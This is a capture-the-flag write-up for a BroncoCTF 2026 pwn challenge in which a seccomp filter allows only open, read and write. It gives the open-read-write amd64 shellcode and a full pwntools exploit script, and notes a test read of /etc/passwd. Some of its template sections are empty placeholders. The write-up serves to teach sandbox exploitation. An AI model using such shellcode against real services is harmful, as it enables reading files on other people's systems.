← Back to Writeups
HTBN/APwn

Crab Trap

XESXOR8/23/20265 min read
#pwn#htb#n/a

Crab Trap

Platform: Broncoctf2026 | Category: Pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-11 | Status: Solved Techniques: direct_syscall_chain, orw_shellcode, seccomp_allowlist_bypass, stack_string_build

Summary

Task: remote x86-64 shellcode runner installs a strict seccomp allowlist (only open/read/write) then jumps to user bytes; execve is blocked. Solution: classic ORW shellcode — build 'flag.txt' on the stack, open(2)->read(0)->write(1) — bypassing the allowlist without execve. Gotcha: the flag is at the RELATIVE path flag.txt, not any absolute path.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: broncoctf2026 | ID: 20260711_broncoctf2026_crab_trap
  • Tags: shellcode, seccomp, open_read_write, relative_path, orw, amd64, allowlist
  • Indicators: no execve mentioned in prompt, Strict Sea Policy / seccomp filter, raw shellcode runner with 512-byte limit, banner names allowlist: open, read
  • Source: 20260711_broncoctf2026_crab_trap.md

Foothold

Vulnerability / Misconfiguration

  1. Direct_syscall_chain
  2. Orw_shellcode
  3. Seccomp_allowlist_bypass
  4. Stack_string_build
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • direct_syscall_chain
  • orw_shellcode
  • seccomp_allowlist_bypass
  • stack_string_build
  • Tags: shellcode, seccomp, open_read_write, relative_path, orw, amd64, allowlist

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Mr. Krabs has heard about these so-called "shellcode hackers" trying to break into his secret vault. So he hired the barnacles. They said no execve. Something about a "Strict Sea Policy." You'll need to get creative if you want that flag.

Remote target: nc 0.cloud.chals.io 34381 (alias broncoctf-crab-trap.chals.io).

English summary: A remote x86-64 Linux shellcode runner prints an ASCII banner and a > prompt, reads one raw shellcode blob (max 512 bytes), reports the swallowed byte count ("Nom nom... swallowed N bytes. Deploying the Barnacle Barrier..."), installs a strict seccomp allowlist, then jumps directly to the supplied bytes. The goal is to read the flag despite execve being blocked.

Analysis

Semantic clues in the prompt map directly to the mechanism:

  • "Crab Trap" / "barnacles" / "shellcode hackers" = a shellcode sandbox trap.
  • "no execve" = the classic push "/bin/sh"; execve shellcode is dead.
  • "Strict Sea Policy" = strict seccomp syscall filtering.

Behavior of the service under the filter:

  • The seccomp allowlist permits only three syscalls: open (2), read (0), write (1). execve and friends are blocked.
  • Because open, read, and write are all allowed, plain ORW (open -> read -> write) shellcode works out of the box. No openat2 trick, no pre-opened-fd assumption, no exit syscall needed after writing.
  • The pipeline was verified first by reading /etc/passwd via open -> read -> write, confirming syscalls 2/0/1 fire under the filter and return data.

The main gotcha was the flag path. Absolute paths (/flag, /flag.txt, /app/flag.txt, /home/ctf/flag) do not exist. The flag is at the relative path flag.txt (the service's CWD), so open("flag.txt", O_RDONLY) is what succeeds.

Solution

Send a short ORW shellcode after the > prompt. The shellcode:

  1. Builds the NUL-terminated string "flag.txt" on the stack.
  2. open(rsp, O_RDONLY=0, 0) -> rax = fd (mov eax, 2; syscall)
  3. read(fd, rsp, 256) (xor eax, eax; syscall)
  4. write(1, rsp, nbytes) (mov eax, 1; syscall)

The whole payload is ~59 bytes, well under the 512-byte cap.

Raw ORW opcode sequence (amd64), building flag.txt on the stack:

xor eax, eax          ; NUL terminator
push rax
movabs rax, 0x7478742e67616c66  ; "flag.txt" little-endian
push rax
mov rdi, rsp          ; path = &"flag.txt"
xor esi, esi          ; O_RDONLY
xor edx, edx          ; mode 0
mov eax, 2            ; SYS_open
syscall               ; rax = fd
mov edi, eax          ; fd
mov rsi, rsp          ; buffer (reuse stack)
mov edx, 256          ; count
xor eax, eax          ; SYS_read = 0
syscall               ; rax = bytes read
mov edx, eax          ; count = bytes read
mov edi, 1            ; fd = stdout
mov rsi, rsp          ; buffer
mov eax, 1            ; SYS_write = 1
syscall               ; leak flag to stdout

Full working exploit (pwntools + keystone; keystone assembles the raw amd64 opcodes so it stays portable on macOS, which usually has no GNU amd64 assembler available to pwntools):

#!/usr/bin/env python3
from pwn import *
from keystone import Ks, KS_ARCH_X86, KS_MODE_64

context.arch = "amd64"
context.os = "linux"

HOST = args.HOST or "0.cloud.chals.io"
PORT = int(args.PORT or 34381)
PATH = (args.PATH or "flag.txt").encode()

# Strict seccomp permits only open(2), read(0), and write(1). Raw opcodes keep
# this portable on macOS, where pwntools usually has no amd64 GNU assembler.
chunks = [PATH[i:i+8].ljust(8, b"\0") for i in range(0, len(PATH), 8)]
ins = ["xor eax,eax", "push rax"]
for chunk in reversed(chunks):
    ins += [f"movabs rax, 0x{int.from_bytes(chunk, 'little'):x}", "push rax"]
ins += [
    "mov rdi,rsp", "xor esi,esi", "xor edx,edx", "mov eax,2", "syscall",
    "mov edi,eax", "mov rsi,rsp", "mov edx,256", "xor eax,eax", "syscall",
    "mov edx,eax", "mov edi,1", "mov rsi,rsp", "mov eax,1", "syscall",
]
sc = bytes(Ks(KS_ARCH_X86, KS_MODE_64).asm(";".join(ins))[0])

assert len(sc) <= 512
p = remote(HOST, PORT)
p.recvuntil(b"> ")
p.send(sc)
print(p.recvall(timeout=5).decode(errors="replace"), end="")

Run: python3 exploit.py (optionally HOST=... PORT=... PATH=flag.txt). The service reads flag.txt relative to its CWD and writes the contents to stdout.

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR